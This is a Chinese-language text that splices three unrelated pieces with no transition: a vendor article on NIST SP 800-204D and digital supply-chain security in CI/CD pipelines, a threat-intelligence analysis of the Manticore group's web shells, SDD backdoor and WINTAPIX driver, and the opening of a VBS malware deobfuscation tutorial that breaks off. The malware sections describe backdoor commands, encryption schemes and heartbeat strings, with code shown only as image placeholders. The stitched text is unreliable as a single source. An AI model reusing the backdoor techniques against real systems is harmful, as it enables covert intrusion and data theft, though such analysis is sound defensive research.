1.前言在敏捷開發的模式下,應用程序會通過DevSecOps 的敏捷軟件開發生命週期(SDLC)範式進行開發,並使用持續集成/持續交付(CI/CD)管道的流程。

然而,在軟件開發、供應和交付運營中涉及的數字應用、基礎設施服務和供應鏈數據等各種活動中(這些活動共同構成了數字供應鏈),攻擊者可以通過鏈條中的一個薄弱點,隱蔽地引入攻擊載體,對數字供應鏈進行攻擊,繼而引發廣泛的後果。

日前,美國國家標準與技術研究院(NIST)發布了特別出版物《DevSecOps CI/CD 管道中软件供应链安全的集成策略》 (NIST SP 800-204D)。本文基於此文,引發深入討論,闡述如何將數字供應鏈安全保證措施集成到CI/CD 管道中以保護底層活動完整性,從而確保將源代碼帶入構建、測試、打包和部署階段的CI/CD 管道活動不會受到損害。

2.數字供應鏈(DSC)的定義從高層次上講,軟件供應鍊是創建、轉換和評估軟件製品質量和政策一致性的一系列步驟的集合。這些步驟通常由使用和消費製品以生成新製品的不同參與者執行。例如,構建步驟使用一系列人工製品作為工具(如編譯器和鏈接器),並消耗人工製品(如源代碼)來生成新的人工製品(如編譯後的二進製文件)。

我們以往所熟知的軟件供應鍊主要是基於傳統軟件供應關係,通過資源和開發供應過程將軟件產品從供方傳遞給需方的網鏈系統。而這樣的定義如今已無法適應數字經濟時代由於技術創新帶來的產品服務、基礎設施和供應鏈數據等供應對象及供應關係的新變化。

因此,數字供應鏈的概念在軟件供應鏈的基礎上應運而生。數字供應鍊主要由數字應用、基礎設施服務、供應鏈數據三大主要供應對象組成。其中,數字應用包括軟件、Web、固件等,基礎設施服務是指雲服務、IT託管服務等,而供應鏈數據則包括基礎數據和敏感信息。

相較於軟件供應鏈,數字供應鏈更加明確的指出了基礎設施服務和供應鏈數據代表產品服務在供應活動中發揮的建設作用及重要性。

图片1.png

圖1:在數字供應鏈步驟中不同要素之間的互動

數字供應鏈中的大多數活動都會對最終的應用產品產生重大影響。因此,每項活動的安全性對於最終結果的安全性至關重要。在供應鏈引入、生產鏈、供應鏈交付運營的過程中,構建、打包和交付數字應用,重新打包和容器化以及基礎設施服務安全上線運營等都是數字供應鏈的核心範疇。

3.數字供應鏈安全:重點內容和風險因素3.1數字供應鏈安全的重點內容在研國標《信息安全技术 软件供应链安全要求》 明確了軟件供應鏈安全保護目標,分別包括提升軟件產品或服務中斷供應等風險管理能力、提升供應活動引入的技術安全風險管理能力、提升軟件供應鏈數據安全風險管理能力。

數字供應鏈安全作為軟件供應鏈安全概念的關鍵演進,其發展建立在軟件供應鏈安全的基礎之上。相比之下,數字供應鏈安全涉及的保護範圍更廣,保護對象的內涵更加豐富。數字供應鏈安全的重點內容包括:

•數字應用安全:圍繞數字應用的開發全流程與上線運營整體階段,包含應用安全開發(DevSecOps/SDL)、開源治理(合規/風險)和數字免疫(防禦左移,代碼疫苗)。

•基礎設施服務安全:包含雲原生安全(CNAPP)和供應鏈環境安全。

•供應鏈數據安全:包含API安全和應用數據安全。

3.2數字供應鏈中的風險因素數字供應鏈的風險因素通常包括:

•開發環境中的漏洞:開發環境對數字供應鏈的安全性構成了根本性的風險,不應將其作為構建流程的一部分加以信任。成熟的SDLC 流程只有在代碼審查和掃描程序到位後,才會將代碼和資產納入其軟件配置管理(SCM) 主線和版本分支。

•威脅參與方:一般是尋求以特權方式訪問數字供應鏈的外部攻擊者,或心懷不滿、製造內部威脅的員工或供應商;非惡意的威脅參與方也可能影響供應鏈的安全,如軟件工程師由於缺乏工具或為了方便使用而故意隱瞞,導致機密管理不善。

•攻擊向量:包括惡意軟件、代碼重用(代碼級別的引入)、依賴庫和依賴組件的引入、社會工程學、網絡攻擊、物理攻擊等。

•攻擊目標(即資產):包括源代碼、憑證、敏感信息,如個人身份信息(PII)、受保護健康信息(PHI)、知識產權(IP)、加密材料(如軟件成品簽名密鑰)和專有信息等。

•利用類型:入侵行為通常包括在數字供應鏈中註入易受攻擊或惡意的依賴項、可訪問其他系統的被盜憑證、將惡意代碼或漏洞代碼注入資源庫、通過提交合併請求竊取機密等。

4.CI/CD 管道的安全目標和可信實體在CI/CD 流水線中,實現數字供應鏈安全的一個共同方法是生成盡可能多的出處數據。出處數據與系統或系統組件的起源、開發、所有權、位置和更改的時間順序相關聯,包括促成這些更改或修改的人員和流程。在生成這些數據的同時,還應有相應的機制對其進行驗證、認證,並在決策中加以利用。

總的來說,CI/CD 管道需要添加的安全保證措施:

•在開發和部署第一方軟件時採用的數字供應鏈內部安全做法;

•在採購、集成和部署第三方軟件(即開源和商業軟件模塊)時採用的安全做法。

4.1 CI/CD 管道的安全目標在CI/CD 管道中應用數字供應鏈安全措施或實踐有兩個安全目標:

1.積極維護CI/CD 管道和構建流程。

2.確保上游源頭和製品(如資源庫)的完整性。

最常見的方法是在CI/CD 平台中引入安全措施,使開發人員能夠自動構建、測試和部署管道。

4.2 CI/CD 管道中需要信任的實體零信任架構側重於保護硬件系統(如服務器)、服務和應用程序本身等資源。訪問這些資產的實體(如用戶、服務和其他服務器)本身並不值得信任,零信任架構的主要目標就是建立這種信任。

在CI/CD 管道中,信任的範圍要大得多,至少需要以下步驟:

•參與執行各種數字供應鏈活動(如供應鏈引入、生產鏈、供應鏈交付運營)的實體應通過驗證憑證進行身份驗證。在認證的基礎上,根據企業業務政策,通過一個稱為授權的過程,為這些實體分配適當的權限或訪問權。

•應通過驗證與之相關的數字簽名來確保人工製品及其存儲庫的完整性。這種完整性保證產生信任。

•在整個CI/CD 系統中,上述信任的建立應該是一個循環往復的過程,因為製品要經過不同的存儲庫才能最終成為最終產品。

•每個構建步驟的輸入和輸出都應經過驗證,以確保預期組件或實體執行了正確的步驟。

表1舉例說明了典型的CI/CD 管道中需要信任的實體。

图片2.png

表1:信任實體

5.將數字供應鏈安全集成到CI/CD 管道中為了概述將數字供應鏈安全集成到CI/CD 管道中的策略,有必要了解這兩種管道各自的流水線及其總體安全目標。

激活CI/CD 管道的前提條件如下:

•加固CI/CD 執行環境(如虛擬機或Pod),減少攻擊面。

•為操作各種CI/CD 管道的人員(如應用程序更新人員、軟件包管理員、部署專家)定義角色。

•確定執行各種任務的細粒度授權,如生成代碼並提交到SCM、生成構建和軟件包,以及檢查各種製品(如構建和軟件包)進出版本庫。

•通過部署適當的工具,實現整個CI/CD 管道的自動化。 CI 和CD 流水線的驅動工具處於更高的級別,會調用一系列特定功能的工具,如用於從版本庫中檢出代碼、編輯和編譯、代碼提交和測試的工具,這包括軟件成分分析SCA工具、靜態應用安全測試SAST和動態應用安全測試DAST等。一般來說,驅動工具或構建控制平面的執行信任度要高於構建等單個功能步驟。

•為應用程序代碼的開發和部署定義CI/CD 管道活動和相關安全要求;基礎設施即代碼,包含部署平台的詳細信息;策略即代碼和配置代碼,指定運行時設置(如另一種標記語言(YAML) 文件)。

5.1 確保CI 管道中工作流的安全CI 管道中的流水線主要包括構建操作、版本庫(公共和私有)的PULL/PUSH操作、軟件更新和代碼提交。

用於安全運行CI 管道的框架的總體安全目標包括:

•同時支持雲原生應用和其他類型應用的能力。

•符合標準的證據結構,如元數據和數字簽名。

•支持多種硬件和軟件平台。

•支持生成證據的基礎設施(例如SBOM 生成器、數字簽名生成器)。

5.1.1 安全構建要在構建過程中獲得數字供應鏈安全保證,需要完成以下任務:

1)指定有關構建的政策,包括使用安全隔離平台執行構建並加固構建服務器,用於執行構建的工具,以及執行構建流程的開發人員所需的身份驗證/授權。

2)使用代理和策略執行引擎等技術執行這些構建策略。

3)確保同時生成構建認證的證據,以證明在軟件交付期間符合安全構建流程。

促進第二項任務的常用技術是將CI 工具的命令與收集證據的功能結合起來,並最終創建整個SDLC 的證據跟踪。

第一類證據來自構建系統本身,它應能確認所使用的工具或流程處於隔離環境中。這可提供內部操作保證。第二類應收集的證據包括最終構建製品、文件、庫和製品中使用的其他材料以及所有事件的哈希值。然後,由構建框架中不受開發人員控制的可信組件使用數字證書對其進行簽名,以創建證書,從而為消費者提供軟件質量的可驗證證明,使他們能夠獨立於軟件生產者驗證該製品的質量,從而為消費者提供保證。在這種情況下,製品是由一系列CI 流程步驟生成的構建。

就'同時生成證據'而言,生成的證據應由信任度或隔離度高於構建本身的流程啟用,以防止篡改。此類證據的生成需要在構建過程中進行驗證。

構建階段的認證由以下部分組成:

1.環境認證:涉及CI 流程發生時的系統清單,一般指運行構建流程的平台。平台的組件(如編譯器、解釋器)必須經過加固、隔離和安全處理。

2.過程認證:涉及將原始源代碼或材料轉化為人工製品的計算機程序(如編譯器、打包工具)和/或對該軟件進行測試的程序(如代碼測試工具)。對於只觀察CI 流程的工具來說,有時很難區分哪些數據應填入流程證明,哪些數據應填入材料認證。執行源轉換的工具讀取的文件可能會影響轉換工具的選擇,也可能包含在轉換本身的輸出中。因此,流程證明的填充應被視為'盡力而為'。

3.材料認證:涉及任何原始數據,可包括配置、源代碼和其他數據(如依賴關係)。

4.製品認證:製品是CI 流程的結果或成果。例如,如果CI 流程步驟涉及在C 語言編寫的源代碼上運行編譯器(如GNU 編譯器集(GCC)),那么生成物就是該源代碼的可執行二進製文件。如果該步驟涉及在同一源代碼上運行SAST 工具,則生成物將是'掃描結果'。生成該製品的步驟可以是最終步驟,也可以是中間步驟。與新生成產品有關的證明屬於人工製品證明類別。

與簽名證據(即認證)及其存儲相關的要求必須包括以下內容:

•認證必須使用安全密鑰進行加密簽名。

•存儲位置必須防篡改,並使用強大的訪問控制加以保護。

這些認證可用於評估政策合規性。政策是一份簽名文件,其中包含了對要驗證的製品的要求。該策略可能包括檢查參與CI 流程的每個職能部門是否使用了正確的密鑰來生成證明,是否找到了所需的證明,以及是否指定了根據相關元數據評估證明的方法。該策略使核查人員能夠在製品生命週期的任何時刻跟踪其合規狀態。

上述能力共同提供了以下保證:

•軟件由授權系統按照正確的步驟順序使用授權工具(如每個步驟的基礎設施)構建。

•沒有證據表明存在潛在的篡改或惡意活動。

5.1.2 對存儲庫進行安全的PULL-PUSH操作數字供應鏈的第一項安全任務是確保源代碼開發實踐的安全。在CI/CD 管道中,代碼駐留在資源庫中,由授權開發人員使用PULL 操作提取、修改,然後使用PUSH 操作放回資源庫。要授權這些PULL-PUSH 操作,需要兩種形式的檢查:

1.授權執行PULL-PUSH操作的開發人員所需的驗證類型。開發人員提出的請求必須與其角色(如應用程序更新者、軟件包管理器)相符。擁有'合併審批'權限的開發人員不能審批自己的合併。

2.代碼庫中代碼的完整性值得信賴,可用於進一步更新。

確保代碼庫中代碼可信度的各種機制包括:

•PULL-PUSH請求1:項目維護者應對推送的變更中涉及的所有製品進行自動檢查,如單元測試、襯墊、完整性測試、安全檢查等。

•PULL-PUSH請求2:只有在對工具源代碼來源的可信度有信心的情況下,才能使用這些工具運行CI 流水線。

•PULL-PUSH請求3:版本庫或源代碼管理系統(如GitHub、GitLab)應a) 在沙箱環境中運行CI 工作流,不允許訪問網絡、任何特權訪問或讀取機密;或b) 具有內置保護功能,可延遲CI 工作流的運行,直至獲得具有寫入權限的維護者批准。當外部貢獻者向公共版本庫提交拉取請求時,這種內置保護就會生效。這種保護的設置應該是最嚴格的,例如'要求所有外部合作者批准'。

•PULL-PUSH請求4:如果源代碼管理系統中沒有內置保護功能,則需要具有以下功能的外部安全工具:

評估和加強SCM系統安全態勢的功能,無論有無策略(如開放策略代理(OPA)),都能評估SCM賬戶的安全設置,並生成一份包含可行建議的狀態報告。

通過檢測和修復錯誤配置、安全漏洞和合規問題,提高源代碼管理系統安全性的功能。

5.1.3 軟件更新期間證據生成的完整性軟件更新過程通常由一類特殊的軟件開發工具執行,該工具被稱為軟件更新系統。對軟件更新系統的威脅主要針對證據生成過程,目的是清除更新的痕跡,阻止確定更新是否合法的能力。

軟件更新系統有多種類型:

•軟件包管理器負責管理系統中安裝的所有軟件

•只負責個別已安裝應用程序的應用程序更新程序

•軟件庫管理器,用於安裝可增加功能的軟件,如插件或編程語言庫。

軟件更新系統的主要任務是識別給定更新票據所需的文件,並下載可信文件。乍一看,建立下載文件信任所需的唯一檢查似乎就是通過驗證與單個文件或軟件包相關的元數據上的簽名來執行的各種完整性和真實性檢查。然而,簽名生成過程本身可能會受到已知攻擊的影響,因此軟件更新系統需要許多與簽名生成和驗證相關的其他安全措施。

為軟件更新系統提供安全保障的不斷發展的框架已將其中許多必要的安全措施納入其規範,並為未來的規範規定了其他一些措施。框架是一套庫、文件格式和實用程序,可用於確保新的和現有軟件更新系統的安全。框架應通過要求在執行簽名操作前滿足第5.1.1節中定義的策略來保護簽名操作。以下是該框架的部分共識目標:

•該框架應能防範對軟件更新系統所執行任務的所有已知攻擊,如元數據(哈希值)生成、簽名過程、簽名密鑰管理、執行簽名的機構的完整性、密鑰驗證和簽名驗證。

•該框架應提供一種方法,通過支持具有多個密鑰和閾值或法定人數信任的角色(旨在使用單個密鑰的最低信任角色除外),將密鑰洩露的影響降至最低。對使用高危密鑰的角色來說,密鑰洩露的影響應該是最小的。因此,在線密鑰(即以自動方式使用的密鑰)不應用於客戶最終信任其可能安裝的文件的任何角色。當密鑰在線使用時,應格外小心保管,例如將其存儲在硬件安全模塊(HSM) 中,並且只有在被簽名的製品通過第5.1.1節中定義的策略時才允許使用。

•該框架必須足夠靈活,以滿足各種軟件更新系統的需求。

•該框架必須易於與軟件更新系統集成。

5.1.4 安全代碼提交代碼提交前應進行適當形式的測試,且必須滿足以下要求:

•SAST 和DAST 工具(涵蓋開發中使用的所有語言)應在CI/CD 管道中運行,並向開發人員和安全人員提供代碼覆蓋率報告.

•如果使用開源模塊和庫,則必須列舉、了解和評估依賴關係(通過使用SCA 工具,如源鑑SCA開源威脅管控平台)。此外,還必須測試它們應滿足的安全條件。依賴關係文件檢測器應檢測所有依賴關係,包括傳遞依賴關係,最好不限制要分析的嵌套依賴關係或傳遞依賴關係的深度。

代碼提交過程中所需的一種安全措施是防止秘密進入提交的代碼。這可以通過對秘密的掃描操作來實現,並產生一種稱為推送保護的功能。該功能應滿足以下要求:

•提交請求1:(例如,個人訪問令牌) 評估已提交代碼是否符合組織政策,包括是否存在密鑰和應用程序編程接口(API) 令牌等機密。檢測到的秘密應通過安全儀錶盤等媒體顯著顯示,並在檢測到違反政策時生成適當的警報,同時記錄補救違反政策的方法。

•提交請求2:分配給管理員的所有版本庫都應啟用推送保護功能。此類保護應包括開發人員身份/授權驗證、強制執行開發人員對代碼提交的簽名以及文件名驗證。

5.2 確保CD管道中流水線的安全以下是CD 過程中應使用的一些盡職調查措施。這些措施可以通過定義允許或不允許部署製品的驗證策略來實施。

•部署請求1:對於已在版本庫中並準備部署的代碼,應調用安全掃描子功能來檢測代碼中是否存在密鑰和訪問令牌等機密。在許多情況下,即使在代碼填充之前,也應掃描版本庫中是否存在秘密,因為根據版本庫的可見性,秘密出現在版本庫中可能意味著憑證已經洩露。

•部署請求2:在合併拉取請求之前,應該可以通過依賴性審查的形式查看任何易受攻擊版本的詳細信息。

•部署請求3:如果已經建立了安全的構建環境和相關流程,那麼就應該可以指定部署的製品(即容器鏡像)必須是由該構建流程生成的,這樣才能允許部署。

•部署請求4:應該有證據表明容器鏡像已進行過漏洞掃描並證明了漏洞發現。漏洞掃描的一個重要因素是運行時間。由於用於掃描製品的工具會不斷更新以檢測新出現的漏洞,因此與過去的掃描結果相比,最近的掃描結果更有可能是準確的,並能提供更好的保證。這種技術可確保只有經過驗證的容器鏡像才能進入環境,並在運行期間保持可信,從而使DevOps 團隊能夠實施主動的容器安全態勢。具體來說,應該可以根據組織定義的策略允許或阻止鏡像部署。

•部署請求5:應定期檢查發行版構建腳本是否存在惡意代碼。需要執行的具體任務包括:

容器鏡像一經構建,甚至在推送到註冊表之前,就應進行漏洞掃描。早期掃描功能也可以內置到本地流水線中。

用於與包含容器鏡像和語言包的資源庫進行交互的工具應能與CD工具集成,從而使所有活動成為自動CD管道的組成部分。

5.2.1 安全CD 管道-GitOps在CI/CD 管道中,構建期間和之後的所有操作都涉及與中央存儲庫(如Bitbucket、GitHub 和GitLab)的交互。這些操作統稱為GitOps,是一種由Argo CD 和Flux 等開源工具推動的自動化部署流程。 GitOps 既適用於基礎架構代碼,也適用於應用代碼,包括提交、分叉、拉取和推送請求。

GitOps 的使用範圍如下:

•將基礎設施作為代碼進行管理

•管理和應用群集配置

•將容器化應用程序及其配置自動部署到分佈式系統。

在部署前創建配置數據、捕獲與特定版本相關的所有數據、運行期間修改軟件以及執行監控操作時,應執行以下數字供應鏈安全任務:

•GitOps請求1:流程應依靠自動化而非手工操作。例如,應避免手動配置數百個YAML 文件來回滾Git 倉庫集群上的部署。

•GitOps請求2:為GitOps 提供便利的軟件包管理器應保存已發佈軟件包的所有數據,包括所有模塊的版本號、所有相關配置文件以及其他適合軟件運行環境的元數據。

•GitOps請求3:不應在運行時手動應用變更(如kubectl)。相反,應該對相關代碼進行更改,並觸發包含這些更改的新版本。這樣才能確保Git 提交始終是集群中運行內容的唯一真實來源。

•GitOps請求4:由於Git 倉庫包含應用程序定義和配置代碼,因此應自動提取並與這些配置的指定狀態進行比較(即監控和補救漂移)。對於任何偏離指定狀態的配置,可執行以下操作:

管理員可以選擇自動將配置重新同步到定義的狀態。

應就差異發出通知,並進行人工補救。

5.3 數字供應鏈CI/CD 管道安全-實施策略如果不對基本業務流程和運營成本造成巨大影響,所有企業都不可能一次性實施數字供應鏈安全所需的大量步驟。相反,提供數字供應鏈安全性的解決方案可大致分為以下幾類:

1.通過與DevSecOps 管道中每項任務相關的功能確保數字供應鏈安全的解決方案:

a.通過確保不被篡改的構建管道來驗證軟件的正確構建,例如提供對構建過程中使用的依賴關係和步驟的可驗證可見性,因為被破壞的依賴關係或構建工具是中毒流水線的最大來源。

b.為交付流水線的每個步驟指定核對清單,以便為實施提供指導,並檢查和執行對核對清單遵守情況的控制。

2.通過數字簽名和證書確保完整性和出處的解決方案。

3.確保運行代碼為最新代碼的策略,如製定'構建期限'(即超過一定期限的代碼不應啟動),以盡可能使生產過程與軟件源中已提交的代碼保持一致。

4.保護CI/CD 客戶端,防止惡意代碼竊取機密信息(如專有源代碼、簽名密鑰、雲憑證)、讀取可能包含機密的環境變量,或將數據外洩到敵方控制的遠程端點。

6.結語敏捷開發模式下數字應用以最快速度將代碼從IDE或Git存儲庫帶到生產環境中,加快了部署速度,提升了業務系統上線的效率,但數字供應鏈的安全性對於敏捷開發範式來說同樣至關重要,任何一個漏洞都可能造成巨大的損失。

作為數字供應鏈安全開拓者和DevSecOps敏捷安全領導者,懸鏡將持續帶來專業的國際化視角,與行業同仁及用戶共同探討交流,踐行網絡安全社會責任,守護中國數字供應鏈安全。

MANTICORE的攻擊範圍正在逐步擴大(上)

Web shellManticore部署了多個Web shell,包括之前被間接歸因於OilRig的Web shell,其中一些web shell因其混淆、命名約定和工件而更受關注。與Manticore在過去幾年的攻擊中使用的許多其他web Shell和基於.NET的工具相比,web Shell保留了類和方法模糊以及類似的字符串加密算法,該加密算法與一個字節異或,密鑰從第一個字節或前2個字節派生。

其中一個shell是對開源XML/XSL轉換web shell (XSL Exec shell)進行了嚴重混淆和略微修改的版本。這個web shell還包含兩個混淆的函數,它們返回字符串“~/1.aspx”。這些函數從未被調用過,很可能是其他版本的殘餘,正如我們在Manticore之前使用的工具(如FOXSHELL)中觀察到的那樣:

14.png

FOXSHELL web shell版本中未使用的字符串

攻擊目標根據對最新利用LIONTAIL的分析發現,受害者遍布中東地區。大多數受影響的實體屬於政府、電信、軍事和金融部門,以及IT服務提供商。

至少從2019年開始,Manticore就開始在中東地區活躍。它最初是基於開源的web部署代理,隨著時間的推移演變成一個多樣化和強大的工具集,既利用了自定義編寫的組件,也利用了開源組件。

16.png

Manticore使用的多個惡意軟件版本的代碼和功能演變概述

基於Tunna的Web shell最早的一個與攻擊者活動相關的樣本是基於Tunna的web shell, Tunna是一個開源工具,旨在通過HTTPTunna傳輸任何TCP通信。 Tunna web shell允許從外部連接到遠程主機上的任何服務,包括那些在防火牆上被阻止的服務,因為所有與web shell的外部通信都是通過HTTP完成的。在配置階段,將遠程主機的IP和端口發送給web shell,在很多情況下,主要使用Tunna來代理RDP連接。

該攻擊者使用的web shell的內部版本為Tunna v1.1g (Github上只有1.1a版本)。與開源版本相比,最重要的變化是通過使用預定義的字符串szEncryptionKey對數據進行異或處理並在末尾附加常量字符串K_SUFFIX來加密請求和響應:

17.png

攻擊者使用的“Tunna 1.1g”代理中的加密功能

18.png

Tunna代理對數據的解密和加密

FOXSHELL:XORO版本之後,代碼被重構,失去了與Tunna的相似之處。我們將此版本和所有後續版本都稱為FOXSHELL。下面的類結構在大多數FOXSHELL版本中仍然存在:

19.png

FOXSHELL中的類

所有負責加密流量的功能都轉移到一個單獨的EncryptionModule類中。此類加載一個.NET DLL,該DLL嵌入FOXSHELL主體內的base64編碼字符串中,並調用其加密和解密方法:

20.png

web shell中base64編碼的EncryptionDll

21.png

EncryptionModule類負責加密和解密方法調用

嵌入式加密模塊的名稱是XORO.dll,它的類是Encryption.XORO實現解密和加密方法的方式與基於Tunna的web shell相同,使用相同的硬編碼值:

22.png

XORO.dll中的加密常量和解密函數

所有對web shell的請求也封裝在一個名為Package的類中,該類處理不同的PackageTypes:Data、Config、OK、Dispose或Error。 PackageType是由包的第一個字節定義的,根據包的類型,web shell解析包並應用配置(在配置中指定的遠程計算機上打開一個新的套接字,如果提供的話,應用一個新的EncryptionDll),或者處理現有的套接字,或者如果包是Data類型代理連接:

23.png

FOXSHELL中的包處理

FOXSHELL:Bsae64(非拼寫錯誤)版本這個版本的web shell仍然沒有混淆,它的內部版本在代碼中指定:

24.png

web shell還包含嵌入的默認EncryptionDll。模塊的名稱是Base64.dll,加密類(拼寫錯誤為Bsae64)公開了加密和解密方法。然而,兩者都只是簡單的base64編碼:

24+.png

Base64.dll中的加密和解密方法

雖然這種簡單的編碼可以在web shell本身的代碼中完成,但其他嵌入式dll的存在,如XORO.dll,以及在配置階段提供另一個EncryptionDll的能力,意味著攻擊者更喜歡控制他們在某些環境中默認使用的特定類型的加密。

這個版本中的其他變化是將PackageType配置重命名為RDPconfig,將ConfigPackage重命名為RDPConfigPackage,表明攻擊者專注於代理RDP連接。這些類的代碼保持不變:

25.png

RDP Configuration類

最後,代碼中的另一個條件處理web shell接收非空參數WV-RESET的情況,該參數調用函數關閉代理套接字並向攻擊者發送OK響應:

26.png

“Close proxy” WV-RESET參數

編譯的FOXSHELL除了針對中東之外,這個版本也於2021年5月針對阿爾巴尼亞發起攻擊。通過利用一個面向internet的Microsoft SharePoint服務器,攻擊者部署了ClientBin。在受攻擊服務器上的Aspx來代理外部連接,從而進行橫向攻擊。

在發現的所有樣本中,FOXHELL都被編譯為DLL並嵌入到base64的基本web shell中。編譯後的DLL將加載System.Reflection.Assembly.Load,則調用來自它的ProcessRequest方法。 DLL是用.NET編寫的,其名稱模式為App_Web_

27.png

加載App_Web_*.dll的web shell

App_Web* DLL受到類和方法混淆的影響,所有字符串都使用Base64,第一個字節的異或和AES的組合加密如下:

28.png

inchpublic函數,負責字符串加密,展示了方法和類的混淆

當web shell被編譯成DLL時,它包含初始化存根,這確保web shell偵聽正確的URI。在這種情況下,初始化發生在以下代碼段:

29.png

web shell App_Web_*.dll中的初始化存根

否則,去混淆後:

30.png

這個初始化將FOXSHELL設置為偵聽相對路徑~/1上的請求。研究發現,在涉及LIONTAIL的攻擊的其他web shell中,它是一個未使用的工件。

在內部,DLL具有與以前版本相同的“1.5”版本的FOXSHELL,其中包括用於停止代理的WV-RESET參數和相同的默認Bsae64加密DLL。

基於IIS ServerManager和HTTPListener的獨立後門自2020年年中以來,除了FOXSHELL作為代理流量的手段外,我們還觀察到了一個相當複雜的獨立被動後門,它是用.NET編寫的,旨在部署在IIS服務器上。它被類似於FOXSHELL的技術混淆,並偽裝成System.Drawing.Design.dll。

CC通信SSD後門通過受感染計算機上的HTTP偵聽器設置CC通信。它是通過兩個類實現的:

ServerManager——.NET中System.Web.Administration命名空間的一部分,用於管理和配置Windows服務器上的Internet信息服務(IIS),例如獲取配置、創建、修改或刪除IIS站點、應用程序和應用程序池。

HTTPListener——.NET框架中的一個類,用於創建自定義HTTP服務器,獨立於IIS並基於HTTP API。

ServerManager用於提取IIS服務器託管的網站,並構建要偵聽的URL前綴的HashSet:

31.png

構建URL前綴HashSet的angleoppose_river函數的混亂代碼基於IIS服務器上配置的網站和綁定

本文的惡意軟件示例中配置的唯一相對URI是Temporary_Listen_Addresses。然後惡意軟件使用HttpListener類開始偵聽指定的URL前綴:

32.png

HttpListener啟動代碼

CC命令執行後門程序有幾個功能:使用cmd.exe執行命令,上傳和下載文件,使用指定參數執行進程以及運行其他.NET程序集。

33.png

SDD後門的請求handler

首先,如果POST請求主體包含數據,惡意軟件會對其進行解析,並將消息作為其支持的4個命令之一進行處理。否則,如果請求包含參數Vet,惡意軟件只需從base64中解碼其值,並用cmd/c執行。如果這些都不是真的,那麼惡意軟件會處理心跳機制,如果請求URL包含小寫的字符串wOxhuoSBgpGcnLQZxipa,則惡意軟件會發回UsEPTIkCRUwarKZfRnyjcG13DFA以及200 OK響應。

POST請求中的數據使用Base64和簡單的基於異或處理的加密進行加密:

34.png

命令解密算法

在解密消息的數據後,惡意軟件會按照以下順序對其進行解析:

35.png

處理可能的SDD後門命令類型的開關

由攻擊者命名的命令,包括:

' Command ' -使用指定參數執行進程。在該樣本中,將解析數據以提取進程名稱及其參數;

“Upload”—將文件上傳到受攻擊系統的指定路徑;

“Download”-將指定的文件發送給攻擊者;

“Rundll”-加載程序集並使用指定參數運行它。

響應數據的構建方式與請求相同(返回命令類型、命令名稱和輸出),然後使用與請求相同的基於XOR的算法進行加密。

WINTAPIX驅動程序最近,Fortinet披露了一系列針對中東目標的攻擊,這些攻擊涉及內核模式驅動程序,研究人員將其命名為WINTAPIX。儘管安裝驅動程序的確切感染鏈尚不清楚,但它們僅針對IIS服務器,因為它們使用IIS ServerManager對象。高級執行流程如下:

1.WINTAPIX驅動程序在內核中加載;

2.WINTAPIX驅動程序枚舉用戶模式進程,以查找具有本地系統權限的合適進程;

3.WINTAPIX驅動程序將嵌入的shellcode注入到先前找到的進程中,shellcode是使用開源的Donut項目生成的,這允許創建能夠從內存加載和執行.NET程序集的與位置無關的shellcode。

4.注入的shellcode加載並執行加密的.NET負載。

最後的有效負載除了已經熟悉的類、方法和字符串混淆之外,還使用商業混淆器進行混淆,並且它結合了SDD後門和FOXSHELL代理的功能。為了實現這兩個目標,它偵聽兩組URL前綴,使用ServerManager和HTTPListener,類似於SSD後門。

驅動程序負載中使用的FOXSHELL版本設置為1.7。在這個版本中引入的主要增強是使用掛起EventLog Service線程的已知技術來繞過事件日誌。在驅動程序中硬編碼的默認EncryptionDll是相同的Bsae64.dll,與FOXSHELL 1.5版本相比,核心代理結構還與原來一樣。

36.png

.NET負載中硬編碼的版本

37.png

FOXSHELL 1.7類結構

由於已經提供了對WINTAPIX驅動程序及其版本SRVNET2的廣泛分析,我們只強調它們與其他討論的工具之間的主要重疊部分,它們之間的聯繫如下:

1.與SDD後門相同的代碼庫,包括基於相同字符串值wOxhuoSBgpGcnLQZxipa和UsEPTIkCRUwarKZfRnyjcG13DFA的心跳;

2.支持相同的後門命令類型,使用相同的密鑰進行加密;

3.與FOXSHELL相同的代碼庫、結構和功能;

4.使用相同的混淆和加密方法。

LIONTAIL框架組件與FOXSHELL、SDD後門和WINTAPIX驅動程序共享類似的混淆和字符串工件。目前,我們不知道有任何其他攻擊者利用這些工具,我們根據多個代碼重疊和共享的受害者特徵將它們全部歸因於Manticore。

總結在過去的幾年裡,Manticore被觀察到在中東地區進行了頻繁活動,包括獲得該地區電信和政府組織的訪問權限,並維持和利用這種訪問權限幾個月來系統地從受害者的系統中竊取數據。分析他們的活動歷史可以發現,攻擊者一直在改進攻擊方法。

雖然LIONTAIL代表了FOXSHELL迭代的邏輯進展,並且仍然具有一些獨特的特徵,使我們能夠將涉及LIONTAIL的攻擊歸因於Manticore。 LIONTAIL框架不再依賴於Internet Information Services (IIS)、它的模塊或. net框架提供的任何其他選項和庫來以編程方式管理IIS。相反,它通過直接與HTTP.sys驅動程序交互來利用最低級別的Windows HTTP堆棧。此外,它允許攻擊者自定義植入程序、配置參數和加載程序的文件傳遞類型,這些都增強了植入程序的隱身能力,使其能夠長時間躲避檢測。預計“Manticore”活動將會更加活躍,並可能蔓延到其他地區。

我們可以通過使用CyberChef和Regex來克服大量基於文本的混淆,在混淆後,系統將識別一些“畸形”的shellcode,我們將在使用SpeakEasy模擬器進行模擬之前手動修復。

哈希:e8710133491bdf0b0d1a2e3d9a2dbbf0d58e0dbb0e0f7c65acef4f788128e1e4,示例鏈接請點此。

TLDR1.識別功能和混淆類型;

2.清除基本混淆與正則表達式和文本編輯器;

3.使用Regex, CyberChef和Subsections去除高級混淆;

4.識別shellcode並修復負字節值(Python或CyberChef);

5.使用Speakeasy驗證和仿真。

初步分析可以使用受感染的密碼保存和解壓縮腳本,這樣我們可以使用文本編輯器(如notepad++)直接打開文件。

打開後,我們可以看到腳本引用了一些Excel對像以及Wscript.Shell,通常用於執行.vbs腳本。

在這個階段,我們將跳轉到使用Wscript來利用Excel執行代碼的假設,避免分析Excel/Wscript組件,直接跳轉到解碼混亂的命令/代碼。

1.png

我們可以假設代碼的初始部分是利用Excel和Wscript來運行一個被混淆的vbs腳本。

混淆技術概述從第30行開始,可以看到兩種主要的混淆形式。

1.腳本被分解成許多小字符串,例如“hello world”將是“hello”&“world”

2.該腳本使用Chr解碼的十進制編碼值。例如,“Hello World”可以是“Hell”& chr(111)&“World”。其中的“0”已轉換為十進制111。

3.每行以下劃線_結尾。雖然這不是混淆,但仍然需要刪除以清理腳本。

2.1.png

2.2.png

現在已經確定3種初始形式的“混淆”,接下來可以繼續使用正則表達式來清除它們。

